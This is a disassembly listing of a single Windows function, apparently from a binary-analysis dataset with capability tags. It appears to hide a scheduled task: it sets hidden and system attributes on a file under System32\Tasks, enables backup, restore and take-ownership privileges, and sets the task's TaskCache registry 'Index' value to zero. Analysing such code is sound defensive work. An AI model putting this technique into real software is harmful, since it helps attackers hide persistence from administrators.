Function at 0x140003650
Capabilities:
Get file attributes
Set file attributes
Set registry value

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
call fcn.140001cf0
xor r12d, r12d
cmp qword [0x140025d28], r12
je 0x140003766
xorps xmm0, xmm0
lea rdx, str.C:WindowsSystem32Tasks_
xorps xmm1, xmm1
lea rcx, [rbp + 7]
mov r8d, 0x1a
movups xmmword [rbp + 7], xmm0
movdqu xmmword [rbp + 0x17], xmm1
call fcn.140003e30
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x19]
call fcn.140003cb0
cmp qword [rbp - 1], 7
lea rbx, [rbp - 0x19]
cmova rbx, qword [rbp - 0x19]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
and eax, 6
cmp al, 6
je 0x1400036d4
mov edx, 6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rdx, qword [rbp - 1]
cmp rdx, 7
jbe 0x140003714
mov rcx, qword [rbp - 0x19]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000370f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b3b
call fcn.140004b84
mov rdx, qword [rbp + 0x1f]
movdqa xmm0, xmmword [0x140021210]
mov word [rbp - 0x19], r12w
movdqu xmmword [rbp - 9], xmm0
cmp rdx, 7
jbe 0x140003766
mov rcx, qword [rbp + 7]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003761
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b3b
call fcn.140004b84
mov qword [rsp + 0xe0], rsi
lea rcx, str.SeRestorePrivilege
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], r14
mov qword [rsp + 0xf8], r15
call fcn.140001670
lea rcx, str.SeBackupPrivilege
call fcn.140001670
lea rcx, str.SeTakeOwnershipPrivilege
call fcn.140001670
lea rcx, [rbp + 7]
call fcn.140001800
mov rbx, rax
mov rcx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rax, rcx
sub rax, r8
cmp rax, 0x4d
jb 0x14000384e
lea rax, [r8 + 0x4d]
mov rdi, rbx
mov qword [rbx + 0x10], rax
cmp rcx, 0xf
jbe 0x1400037e2
mov rdi, qword [rbx]
lea rax, [0x14002118d]
mov r15d, 0x4d
lea rsi, str.MACHINESOFTWAREMicrosoftWindows_NTCurrentVersionScheduleTaskCacheTree_
cmp rax, rdi
jbe 0x140003816
lea rax, [rdi + r8]
cmp rsi, rax
ja 0x140003816
cmp rdi, rsi
ja 0x14000380e
mov r14, r12
jmp 0x140003819
mov r14, rdi
sub r14, rsi
jmp 0x140003819
mov r14, r15
inc r8
lea rcx, [rdi + 0x4d]
mov rdx, rdi
call fcn.140017d90
mov r8, r14
mov rdx, rsi
mov rcx, rdi
call fcn.140017d90
sub r15, r14
lea rdx, [rsi + 0x4d]
add rdx, r14
lea rcx, [rdi + r14]
mov r8, r15
call fcn.140017d90
jmp 0x140003873
mov r15d, 0x4d
lea rsi, str.MACHINESOFTWAREMicrosoftWindows_NTCurrentVersionScheduleTaskCacheTree_
mov qword [rsp + 0x28], r15
mov edx, r15d
mov rcx, rbx
mov qword [rsp + 0x20], rsi
call fcn.140004770
mov rbx, rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp - 0x39], xmm0
movdqu xmmword [rbp - 0x29], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x39], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x29], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r12b
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x1400038db
mov rcx, qword [rbp + 7]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400038d6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b41
call fcn.140004b84
movaps xmmword [rsp + 0xb0], xmm6
lea rcx, [rbp - 0x39]
movaps xmmword [rsp + 0xa0], xmm7
call fcn.140003430
lea rcx, [rbp + 7]
call fcn.140001800
mov rbx, rax
mov rcx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rax, rcx
sub rax, r8
cmp rax, 0x45
jb 0x140003998
lea rax, [r8 + 0x45]
mov rdi, rbx
mov qword [rbx + 0x10], rax
cmp rcx, 0xf
jbe 0x14000392c
mov rdi, qword [rbx]
lea rax, [0x1400211d5]
mov r15d, 0x45
lea rsi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionScheduleTaskCacheTree_
cmp rax, rdi
jbe 0x140003960
lea rax, [rdi + r8]
cmp rsi, rax
ja 0x140003960
cmp rdi, rsi
ja 0x140003958
mov r14, r12
jmp 0x140003963
mov r14, rdi
sub r14, rsi
jmp 0x140003963
mov r14, r15
inc r8
lea rcx, [rdi + 0x45]
mov rdx, rdi
call fcn.140017d90
mov r8, r14
mov rdx, rsi
mov rcx, rdi
call fcn.140017d90
sub r15, r14
lea rdx, [rsi + 0x45]
add rdx, r14
lea rcx, [rdi + r14]
mov r8, r15
call fcn.140017d90
jmp 0x1400039bd
mov r15d, 0x45
lea rsi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionScheduleTaskCacheTree_
mov qword [rsp + 0x28], r15
mov edx, r15d
mov rcx, rbx
mov qword [rsp + 0x20], rsi
call fcn.140004770
mov rbx, rax
movups xmm6, xmmword [rbx]
movups xmm7, xmmword [rbx + 0x10]
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r12b
mov rdx, qword [rbp - 0x21]
cmp rdx, 0xf
jbe 0x140003a0e
mov rcx, qword [rbp - 0x39]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a09
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b47
call fcn.140004b84
mov rdx, qword [rbp + 0x1f]
movups xmmword [rbp - 0x39], xmm6
movups xmmword [rbp - 0x29], xmm7
cmp rdx, 0xf
jbe 0x140003a51
mov rcx, qword [rbp + 7]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a4c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b47
call fcn.140004b84
cmp qword [rbp - 0x21], 0xf
lea rax, [rbp - 0x41]
lea rdx, [rbp - 0x39]
mov dword [rbp - 0x49], r12d
cmova rdx, qword [rbp - 0x39]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rbp - 0x41]
lea rax, [rbp - 0x49]
mov dword [rsp + 0x28], 4
lea rdx, str.Index
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp - 0x39]
call fcn.1400031c0
mov rdx, qword [rbp - 0x21]
cmp rdx, 0xf
jbe 0x140003af7
mov rcx, qword [rbp - 0x39]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003af2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b35
call fcn.140004b84
movaps xmm6, xmmword [rsp + 0xb0]
xor eax, eax
movaps xmm7, xmmword [rsp + 0xa0]
mov r14, qword [rsp + 0xf0]
mov rdi, qword [rsp + 0xe8]
mov rsi, qword [rsp + 0xe0]
mov r15, qword [rsp + 0xf8]
add rsp, 0xc0
pop r12
pop rbx
pop rbp
ret
call fcn.14000ac9c
int3
call fcn.14000ac9c
int3
call fcn.14000ac9c
int3
call fcn.14000ac9c
int3